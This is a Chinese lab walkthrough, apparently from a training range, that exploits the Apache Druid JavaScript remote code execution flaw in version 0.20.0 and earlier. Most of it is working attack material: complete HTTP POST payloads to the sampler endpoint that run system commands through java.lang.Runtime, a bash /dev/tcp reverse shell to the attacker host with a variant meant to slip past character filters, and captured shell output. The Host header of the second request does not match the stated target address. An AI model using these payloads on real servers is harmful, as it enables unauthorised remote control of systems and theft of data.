
!quote 参考文档 https://app.nextcyber.cn/courses/45/tasks/588
Apache Druid包括执行嵌入在各种类型请求中的用户提供的JavaScript代码的能力。这个功能是为了在可信环境下使用,并且默认是禁用的。然而,在Druid 0.20.0及以前的版本中,攻击者可以通过发送一个恶意请求使Druid用内置引擎执行任意JavaScript代码,而不管服务器配置如何,这将导致代码和命令执行漏洞。
Apache Druid 的 JavaScript 解析功能存在权限校验绕过缺陷。该功能本应仅在配置启用时,对可信请求执行脚本,但在 0.20.0 及以前版本中,攻击者可通过构造包含恶意 JavaScript 代码的 POST 请求,直接调用 Druid 内置的 java.lang.Runtime 类。此请求会绕过服务器的配置检查,让 Druid 引擎将恶意代码解析为可执行指令,进而触发服务器端命令执行(RCE),最终实现对靶机的远程控制。
flowchart TD
A[攻击者构造恶意POST请求] -->|包含恶意JavaScript代码| B[发送请求至Druid服务端:/druid/indexer/v1/sampler]
B --> C[Druid服务端接收请求]
C --> D[绕过JavaScript功能的配置检查]
D --> E[内置引擎解析恶意JavaScript代码]
E --> F["调用java.lang.Runtime.getRuntime().exec()"]
F --> G[执行恶意系统命令]
G --> H["实现远程代码执行(RCE)"]!NOTE 靶场环境攻击机地址 10.132.1.111靶机地址 10.22.26.116
访问页面
http://10.22.26.116:8888!success 应用界面
尝试发送恶意请求,以触发RCE
POST /druid/indexer/v1/sampler HTTP/1.1
Host: 10.22.26.116:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}!success 执行结果 成功返回
id命令执行结果:
攻击机启动监听1234端口。
# 本次采用反弹命令
/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/10.132.1.111/1234 0>&1
# 传统反弹命令
# /bin/bash -i >& /dev/tcp/10.132.1.111/1234 0>&1!NOTE 关于本次的反弹命令 命令
/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/10.132.1.111/1234 0>&1,是通过 “参数传递 + 管道转发” 的方式,解决传统命令可能遇到的拦截问题。 AI给出的绕过逻辑如下:绕过特殊字符过滤:部分环境会拦截>、&这类重定向符号,用echo把完整反弹命令当作字符串输出,再通过管道传给bash执行,能规避这类过滤。 适配参数解析规则:Druid 的JavaScript引擎在执行exec()函数时,对空格、特殊符号的解析可能存在限制。$@代表传递给脚本的所有参数,0是占位参数,整体能让命令在引擎中被正确拆分和执行,避免因解析错误导致命令失效。
修改HTTP请求,发送
POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.2.47:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function": "function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/10.132.1.111/1234 0>&1')}",
"dimension": "added",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}成功回弹Shell:
┌──(kali㉿kali)-[~/demo]
└─$ nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on 10.22.26.116 55850
bash: cannot set terminal process group (34): Inappropriate ioctl for device
bash: no job control in this shell
# ls
ls
LICENSE
NOTICE
README
bin
conf
extensions
hadoop-dependencies
lib
licenses
quickstart
var原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。